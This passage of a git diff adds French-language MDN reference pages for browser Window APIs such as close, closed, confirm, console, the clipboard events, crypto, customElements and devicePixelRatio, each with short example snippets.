+<pre>&lt;script type="text/javascript"&gt;
+// Variable globale pour stocker une référence vers la fenêtre ouverte
+var fenetreOuverte;
+
+function ouvrirFenetre()
+{
+  fenetreOuverte = window.open('details.html');
+}
+function fermerFenetreOuverte()
+{
+  fenetreOuverte.close();
+}
+&lt;/script&gt;
+</pre>
+<h5 id="Fermeture_de_la_fen.C3.AAtre_courante" name="Fermeture_de_la_fen.C3.AAtre_courante">Fermeture de la fenêtre courante</h5>
+<pre>&lt;script type="text/javascript"&gt;
+function fermerFenetreCourante()
+{
+  window.close();
+}
+&lt;/script&gt;
+</pre>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>DOM Level 0. <code>window.close()</code> ne fait partie d'aucune spécification ni recommandation technique du W3C.</p>
+<h3 id="R.C3.A9f.C3.A9rence_additionnelle" name="R.C3.A9f.C3.A9rence_additionnelle">Référence additionnelle</h3>
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/methods/close_0.asp">window.close() sur MSDN</a></li>
+</ul>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.close", "ja": "ja/DOM/window.close" } ) }}</p>
diff --git a/files/fr/web/api/window/closed/index.html b/files/fr/web/api/window/closed/index.html
new file mode 100644
index 0000000000..62038b80ae
--- /dev/null
+++ b/files/fr/web/api/window/closed/index.html
@@ -0,0 +1,59 @@
+---
+title: window.closed
+slug: Web/API/Window/closed
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/Window/closed
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>Cette propriété indique si la fenêtre référencée est fermée ou non.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre>isClosed = window.closed;
+</pre>
+<p>Cette propriété est en lecture seule.</p>
+<h3 id="Valeur_renvoy.C3.A9e" name="Valeur_renvoy.C3.A9e">Valeur renvoyée</h3>
+<dl>
+ <dt>
+  <code>isClosed</code></dt>
+ <dd>
+  Un booléen. Les valeurs possibles sont :</dd>
+</dl>
+<ul>
+ <li><code>false</code> : La fenêtre est ouverte.</li>
+ <li><code>true</code> : La fenêtre a été fermée.</li>
+</ul>
+<h3 id="Exemples" name="Exemples">Exemples</h3>
+<h4 id="Chargement_d.27une_page_dans_la_fen.C3.AAtre_principale_depuis_un_popup" name="Chargement_d.27une_page_dans_la_fen.C3.AAtre_principale_depuis_un_popup">Chargement d'une page dans la fenêtre principale depuis un popup</h4>
+<p>L'exemple suivant montre comment un popup peut transmettre un choix de l'utilisateur à la fenêtre principale en y ouvrant une URL différente. Mais il faut d'abord vérifier que la fenêtre principale et encore ouverte.</p>
+<pre>if (!window.opener.closed) {
+  // La fenêtre principale est encore là,
+  // on peut donc y charger une autre page
+  window.opener.location.href = newURL;
+}
+</pre>
+<h4 id="Appel_d.27une_fonction_dans_un_popup_ouvert_pr.C3.A9c.C3.A9demment" name="Appel_d.27une_fonction_dans_un_popup_ouvert_pr.C3.A9c.C3.A9demment">Appel d'une fonction dans un popup ouvert précédemment</h4>
+<p>Dans cette exemple, la fonction <code>refreshPopupWindow()</code> appelle une fonction dans le popup pour rafraichir son contenu. Cependant, si le popup n'a pas encore été ouvert ou si l'utilisateur l'a fermé, un nouveau popup est ouvert.</p>
+<pre>var popupWindow = null;
+
+function refreshPopupWindow() {
+  if (popupWindow &amp;&amp; !popupWindow.closed) {
+    // Le popup a déjà été ouvert et il l'est encore.
+    // On peut donc appeler sa fonction doRefresh().
+    popupWindow.doRefresh();
+  } else {
+    // Il est nécessaire d'ouvrir d'abord le popup.
+    popupWindow = window.open("popup.html");
+  }
+}
+</pre>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>DOM Level 0. <code>window.closed</code> ne fait partie d'aucune spécification ou recommandation technique du W3C.</p>
+<h3 id="R.C3.A9f.C3.A9rence_suppl.C3.A9mentaire" name="R.C3.A9f.C3.A9rence_suppl.C3.A9mentaire">Référence supplémentaire</h3>
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/properties/closed.asp">window.closed sur MSDN</a></li>
+</ul>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.closed", "ja": "ja/DOM/window.closed", "pl": "pl/DOM/window.closed" } ) }}</p>
diff --git a/files/fr/web/api/window/confirm/index.html b/files/fr/web/api/window/confirm/index.html
new file mode 100644
index 0000000000..099cfdaac8
--- /dev/null
+++ b/files/fr/web/api/window/confirm/index.html
@@ -0,0 +1,51 @@
+---
+title: window.confirm
+slug: Web/API/Window/confirm
+tags:
+  - DOM
+  - DOM_0
+translation_of: Web/API/Window/confirm
+---
+<p>{{ApiRef("Window")}}</p>
+
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+
+<p>Affiche un dialogue modal avec un message et deux boutons, OK et Annuler.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval"><em>resultat</em> = window.confirm(<em>message</em>);
+</pre>
+
+<ul>
+ <li><code>message</code> est la chaîne contenant le texte à afficher dans le dialogue.</li>
+ <li><code>resultat</code> est une valeur booléenne indiquant si OK ou Annuler a été sélectionné (<code>true</code> signifie OK).</li>
+</ul>
+
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+
+<pre class="eval">if (window.confirm("Une nouvelle fenêtre va s'ouvrir.")) {
+    window.open("fenetre.html", "Nouvelle fenêtre", "");
+}
+</pre>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<p><span class="comment">Le texte suivant est commun à cet article, DOM:window.prompt et DOM:window.confirm</span> Les boîtes de dialogue sont des fenêtres modales : elles empêchent l'utilisateur d'accéder au reste de l'interface du programme tant qu'elles ne sont pas fermées. C'est pourquoi il ne faut pas abuser des fonctions créant une boîte de dialogue (ou fenêtre modale).</p>
+
+<p>Les applications utilisant le chrome (par exemple les extensions) devront plutôt utiliser les méthodes de <a href="fr/NsIPromptService">nsIPromptService</a>.</p>
+
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+
+<p>{{ DOM0() }}</p>
+
+<h3 id="Voir_aussi" name="Voir_aussi">Voir aussi</h3>
+
+<ul>
+ <li><a href="/fr/docs/DOM/window.alert" title="Affiche un dialogue d'alerte contenant le texte spécifié.">alert</a></li>
+ <li><a href="/fr/docs/DOM/window.prompt" title="Affiche un dialogue avec un message demandant à l'utilisateur d'entrer une réponse sous forme de texte.">prompt</a></li>
+</ul>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/window.confirm", "ja": "ja/DOM/window.confirm" } ) }}</p>
diff --git a/files/fr/web/api/window/console/index.html b/files/fr/web/api/window/console/index.html
new file mode 100644
index 0000000000..6d0bc951dd
--- /dev/null
+++ b/files/fr/web/api/window/console/index.html
@@ -0,0 +1,56 @@
+---
+title: Window.console
+slug: Web/API/Window/console
+tags:
+  - API
+  - Propriété
+  - Reference
+  - Window
+  - console
+  - lecture seule
+translation_of: Web/API/Window/console
+---
+<p>{{ APIRef }}</p>
+
+<p>La propriété <strong><code>Window.console</code></strong> en lecture seule retourne une référence à l'objet {{domxref("Console")}}, qui founit des méthodes pour afficher des information sur la console du navigateur. Ces méthodes ont pour seul but le débogage et ne devraient pas servir à présenter des informations au utilisateurs.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>var consoleObj</em> = <em>window</em>.console;
+</pre>
+
+<h2 id="Example" name="Example">Exemples</h2>
+
+<h3 id="Afficher_dans_la_console">Afficher dans la console</h3>
+
+<p>Le premier exemple affiche du texte dans la console.</p>
+
+<pre class="brush: js">console.log("An error occurred while loading the content");
+</pre>
+
+<p>L'exemple suivant affiche un objet dans la console, et les champs de l'objet y sont écrit:</p>
+
+<pre class="brush: js">console.dir(someObject);</pre>
+
+<p>Voir {{SectionOnPage("/en-US/docs/Web/API/Console", "Usage")}} pour plus d'exemples appronfondit.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Console API')}}</td>
+   <td>{{Spec2('Console API')}}</td>
+   <td>Définition Initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p>Actuellement il y a beaucoup de différences d'implémentation entre les navigateurs, mais ils sont en train d'être standardisés pour les rendre plus consistants entre eux.</p>
+</div>
diff --git a/files/fr/web/api/window/content/index.html b/files/fr/web/api/window/content/index.html
new file mode 100644
index 0000000000..befde3636a
--- /dev/null
+++ b/files/fr/web/api/window/content/index.html
@@ -0,0 +1,29 @@
+---
+title: window.content
+slug: Web/API/Window/content
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/Window/content
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>Renvoie un objet <a href="fr/DOM/window">Window</a> pour la fenêtre de contenu principale. C'est utile pour les fenêtres XUL qui ont un <code>&lt;browser&gt;</code> (ou <code>tabbrowser</code> ou <code>&lt;iframe&gt;</code>) avec l'attribut <code>type="content-primary"</code> défini - l'exemple le plus célèbre étant la fenêtre principale de Firefox, <code>browser.xul</code>. Dans de tels cas, <code>content</code> renvoie une référence à l'objet <code>Window</code> pour le document actuellement affiché dans le navigateur. Il s'agit d'un raccourci pour <code><var>browserRef</var>.contentWindow</code>.</p>
+<p>Dans du contenu non privilégié (des pages Web), <code>content</code> est normalement équivalent à <a href="fr/DOM/window.top">top</a> (sauf dans le cas d'une page chargée dans un panneau latéral, où <code>content</code> se réfère à l'objet <code>Window</code> de l'onglet sélectionné).</p>
+<p>Certains exemples utilisent <code>_content</code> à la place de <code>content</code>. Cette forme est dépréciée depuis un long moment, et vous devriez toujours utiliser <code>content</code> dans du nouveau code.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval">var <var>windowObject</var> = window.content;
+</pre>
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+<p>L'exécution du code suivant dans une fenêtre chrome XUL contenant un élement <code>&lt;browser type="content-primary"/&gt;</code> dessine une bordure rouge autour du premier élément div de la page actuellement affichée dans le navigateur :</p>
+<pre class="eval">content.document.getElementsByTagName("div")[0].style.border = "solid red 1px";
+</pre>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>Ne fait partie d'aucune spécification du W3C.</p>
+<h3 id="Voir_aussi" name="Voir_aussi">Voir aussi</h3>
+<ul>
+ <li><a href="fr/Travailler_avec_des_fen%c3%aatres_dans_le_chrome">Travailler avec des fenêtres dans le chrome</a></li>
+ <li>Lorsque vous accédez à des documents depuis du code privilégié, faites attention aux <a href="fr/XPCNativeWrapper">XPCNativeWrapper</a>.</li>
+</ul>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.content", "ja": "ja/DOM/window.content", "pl": "pl/DOM/window.content" } ) }}</p>
diff --git a/files/fr/web/api/window/controllers/index.html b/files/fr/web/api/window/controllers/index.html
new file mode 100644
index 0000000000..1b91ba0937
--- /dev/null
+++ b/files/fr/web/api/window/controllers/index.html
@@ -0,0 +1,46 @@
+---
+title: Window.controllers
+slug: Web/API/Window/controllers
+tags:
+  - API
+  - HTML DOM
+  - NeedMarkupWork
+  - NeedSpecTavle
+  - NeedsCompatTable
+  - Property
+  - Reference
+  - Window
+translation_of: Web/API/Window/controllers
+---
+<div>{{APIRef}}{{non-standard_header}}</div>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p>Retourne les contrôleurs XUL de la fenêtre chrome.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>controleurs</var> = window.controllers
+</pre>
+
+<ul>
+ <li><code>controleurs</code> est un objet de type <a href="/en-US/docs/XULControllers"><code>XULControllers</code></a> (<a href="/en-US/docs/XPCOM_Interface_Reference/nsIControllers"><code>nsIControllers</code></a>).</li>
+</ul>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<p>Spécifique à XUL. Ne fait pas partie de la spécification.</p>
+
+<div class="note">
+<p>Par défaut, le contrôleur d'une fenêtre contient le code qui prend en charge les commandes globales de la fenêtre.</p>
+
+<p>Le code Chrome peut ajouter des contrôleurs (à utiliser conjointement avec les fonctions goDoCommand et goUpdateCommand dans globalOverlay.js).</p>
+
+<p>Cependant, les contrôleurs ajoutés doivent être explicitement supprimés lorsque la fenêtre est déchargée, car cela n'est pas fait automatiquement.<br>
+ Chaque suppression manquante peut provoquer le</p>
+<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=415775">bug 415775</a>:
+
+<pre class="bz_comment_text" id="comment_text_0">ASSERTION: XPConnect is being called on a scope without a 'Components' property!</pre>
+</div>
+
+<p> </p>
diff --git a/files/fr/web/api/window/copy_event/index.html b/files/fr/web/api/window/copy_event/index.html
new file mode 100644
index 0000000000..c99af609ed
--- /dev/null
+++ b/files/fr/web/api/window/copy_event/index.html
@@ -0,0 +1,77 @@
+---
+title: 'Window: copy event'
+slug: Web/API/Window/copy_event
+tags:
+  - API
+  - Clippboard API
+  - Copie
+  - Event
+  - Evènement
+  - Reference
+  - Window
+  - copy
+translation_of: Web/API/Window/copy_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">L'événement <strong><code>copy</code></strong> se déclenche lorsque l'utilisateur lance une action de copie via l'interface utilisateur du nagivateur.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bulles</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("ClipboardEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété de gestionnaire d'événement</th>
+   <td>{{domxref("HTMLElement/oncopy", "oncopy")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La cible d'origine de cet événement est le {{domxref ("Element")}} qui était la cible prévue de l'action de copie. Vous pouvez écouter cet événement sur l'interface {{domxref ("Window")}} pour le gérer dans les phases de capture ou de bullage. Pour plus de détails sur cet événement, veuillez consulter la page sur le <a href="/en-US/docs/Web/API/Element/copy_event">Element: copy event</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js notranslate">window.addEventListener('copy', (event) =&gt; {
+    console.log('action de copie lancée')
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Clipboard API', '#clipboard-event-copy')}}</td>
+   <td>{{Spec2('Clipboard API')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.copy_event")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>Événements liés: {{domxref("Window/cut_event", "cut")}}, {{domxref("Window/paste_event", "paste")}}</li>
+ <li>Cet événement sur {{domxref("Element")}} cible: {{domxref("Element/copy_event", "copy")}}</li>
+ <li>Cet événement sur {{domxref("Document")}} cible: {{domxref("Document/copy_event", "copy")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/crypto/index.html b/files/fr/web/api/window/crypto/index.html
new file mode 100644
index 0000000000..dadf4b3518
--- /dev/null
+++ b/files/fr/web/api/window/crypto/index.html
@@ -0,0 +1,88 @@
+---
+title: Window.crypto
+slug: Web/API/Window/crypto
+translation_of: Web/API/Window/crypto
+---
+<p>{{APIRef}}</p>
+
+<p>La propriété, en lecture seule, {{domxref("Window.crypto")}} retourne l'objet {{domxref("Crypto")}}  associé à l'objet global. Cet objet permet aux pages web d'avoir un accès à certains services liés à cryptographie.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>cryptoObj</em> = window.crypto || window.msCrypto; // pour IE 11
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web Crypto API", "#dfn-GlobalCrypto", "Window.crypto")}}</td>
+   <td>{{Spec2("Web Crypto API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer / Edge</th>
+   <th>Chrome Opera Vivaldi</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>44 {{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>6 {{ property_prefix("-ms") }}</td>
+   <td>19</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Gecko Mobile</th>
+   <th>Firefox OS</th>
+   <th>Internet Explorer / Edge</th>
+   <th>Opera for Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>2 {{ CompatVersionUnknown() }}</td>
+   <td>10 {{ CompatVersionUnknown() }}</td>
+   <td>37 {{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'objet global {{domxref("Window")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/customelements/index.html b/files/fr/web/api/window/customelements/index.html
new file mode 100644
index 0000000000..cc57a29618
--- /dev/null
+++ b/files/fr/web/api/window/customelements/index.html
@@ -0,0 +1,116 @@
+---
+title: Window.customElements
+slug: Web/API/Window/customElements
+tags:
+  - API
+  - CustomElementRegistry
+  - Property
+  - Reference
+  - Web Components
+  - Window
+  - custom elements
+translation_of: Web/API/Window/customElements
+---
+<div>{{APIRef}}</div>
+
+<p>La propriété en lecture seule <code>customElements</code> de l'interface {{domxref("Window")}} renvoie une référence à l'objet {{domxref("CustomElementRegistry")}}, qui peut être utilisée pour enregistrer de nouveaux <a href="/fr-FR/docs/Web/Web_Components/Using_custom_elements">éléments personnalisés</a> et obtenir des informations sur des éléments personnalisés enregistrés.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre>let registreElementsPersonnalises = window.customElements;</pre>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Une instance d'objet {{domxref("CustomElementRegistry")}} représentant le registre des éléments personnalisés pour la fenêtre en cours.</p>
+
+<h2 id="Examples" name="Examples">Exemples</h2>
+
+<p>L'exemple le plus courant d'utilisation de cette propriété que vous verrez sera d'obtenir l'accès à la méthode {{domxref ("CustomElementRegistry.define()")}} pour définir et enregistrer un nouvel élément personnalisé, par exemple :</p>
+
+<pre>let registreElementsPersonnalises = window.customElements;
+registreElementsPersonnalises.define('mon-element-personnalise', MonElementPersonnalise);</pre>
+
+<p>Cependant, il est généralement raccourci en quelque chose comme :</p>
+
+<pre>customElements.define('details-element',
+  class extends HTMLElement {
+    constructor() {
+      super();
+      const modele = document
+        .getElementById('modele-details-element')
+        .content;
+      const racineOmbre = this.attachShadow({mode: 'open'})
+        .appendChild(template.cloneNode(true));
+  }
+});</pre>
+
+<p>Voir notre repo <a href="https://github.com/mdn/web-components-examples/">web-components-examples</a> pour davantage d'exemples d'utilisation.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "custom-elements.html#dom-window-customelements", "window.customElements")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>window.customElements</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Chrome for Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>window.customElements</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/window/cut_event/index.html b/files/fr/web/api/window/cut_event/index.html
new file mode 100644
index 0000000000..422705fc68
--- /dev/null
+++ b/files/fr/web/api/window/cut_event/index.html
@@ -0,0 +1,76 @@
+---
+title: 'Window: cut event'
+slug: Web/API/Window/cut_event
+tags:
+  - API
+  - API Presse-papiers
+  - Cut
+  - Evènement
+  - Reference
+  - Web
+  - Window
+translation_of: Web/API/Window/cut_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">L'événement <strong><code>cut</code></strong> est déclenché lorsque l'utilisateur a lancé une action de "cut" via l'interface utilisateur du navigateur.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bulles</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("ClipboardEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété de gestionnaire d'événements</th>
+   <td>{{domxref("HTMLElement/oncut", "oncut")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La cible d'origine de cet événement est le {{domxref("Element")}} qui était la cible prévue de l'action cut. Vous pouvez écouter cet événement sur l'interface {{domxref("Window")}} pour le gérer dans les phases de capture ou de bullage. Pour plus de détails sur cet événement, veuillez consulter la page sur l'événement <a href="/en-US/docs/Web/API/Element/cut_event">Element: cut event</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js notranslate">window.addEventListener('cut', (event) =&gt; {
+    console.log('cut action initiated')
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Clipboard API', '#clipboard-event-cut')}}</td>
+   <td>{{Spec2('Clipboard API')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.cut_event")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>Événements liés: {{domxref("Window/copy_event", "copy")}}, {{domxref("Window/paste_event", "paste")}}</li>
+ <li>Cet événement sur {{domxref("Element")}} targets: {{domxref("Element/cut_event", "cut")}}</li>
+ <li>Cet événement sur {{domxref("Document")}} targets: {{domxref("Document/cut_event", "cut")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/defaultstatus/index.html b/files/fr/web/api/window/defaultstatus/index.html
new file mode 100644
index 0000000000..9a991ac4fb
--- /dev/null
+++ b/files/fr/web/api/window/defaultstatus/index.html
@@ -0,0 +1,52 @@
+---
+title: Window.defaultStatus
+slug: Web/API/Window/defaultStatus
+tags:
+  - API
+  - HTML DOM
+  - NeedsCompatTable
+  - NeedsExample
+  - NeedsMarkupWork
+  - NeedsSpecTable
+  - Obsolete
+  - Propriété
+  - Reference
+  - Window
+translation_of: Web/API/Window/defaultStatus
+---
+<p>{{ obsolete_header(23) }}</p>
+
+<p>{{ APIRef() }}</p>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p>Obtient / définit le texte de la barre d'état pour la fenêtre donnée.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval notranslate"><em>var sMsg</em> = window.defaultStatus;
+window.defaultStatus = <em>sMsg;</em>
+</pre>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<ul>
+ <li><code>sMsg</code> est une chaîne contenant le texte à afficher par défaut dans la barre d'état.</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="notranslate">&lt;html&gt;
+ &lt;body onload="window.defaultStatus='salut!';"/&gt;
+  &lt;button onclick="window.confirm('Êtes-vous sûr de vouloir quitter?');"&gt;confirmer&lt;/button&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Pour définir le statut une fois la fenêtre ouverte, utilisez {{domxref("window.status")}}.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<p>HTML5</p>
diff --git a/files/fr/web/api/window/devicepixelratio/index.html b/files/fr/web/api/window/devicepixelratio/index.html
new file mode 100644
index 0000000000..e232a571d3
--- /dev/null
+++ b/files/fr/web/api/window/devicepixelratio/index.html
@@ -0,0 +1,91 @@
+---
+title: Window.devicePixelRatio
+slug: Web/API/Window/devicePixelRatio
+translation_of: Web/API/Window/devicePixelRatio
+---
+<p>{{APIRef}}</p>
+
+<p>La propriété en lecture seule <code>Window.devicePixelRatio</code> retourne le rapport entre la taille (verticale) d'un pixel physique sur le périphérique d'affichage et la taille d'un pixel indépendant du matériel (abrégé en anglais "dips").</p>
+
+<p>Aucun rappel ni événement ne se déclenche lorsque la valeur change (par exemple, si vous glissez la fenêtre entre deux écrans à densités de pixels différentes).</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em><var>valeur</var></em> = window.devicePixelRatio;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-window-devicepixelratio", "Window.devicePixelRatio")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
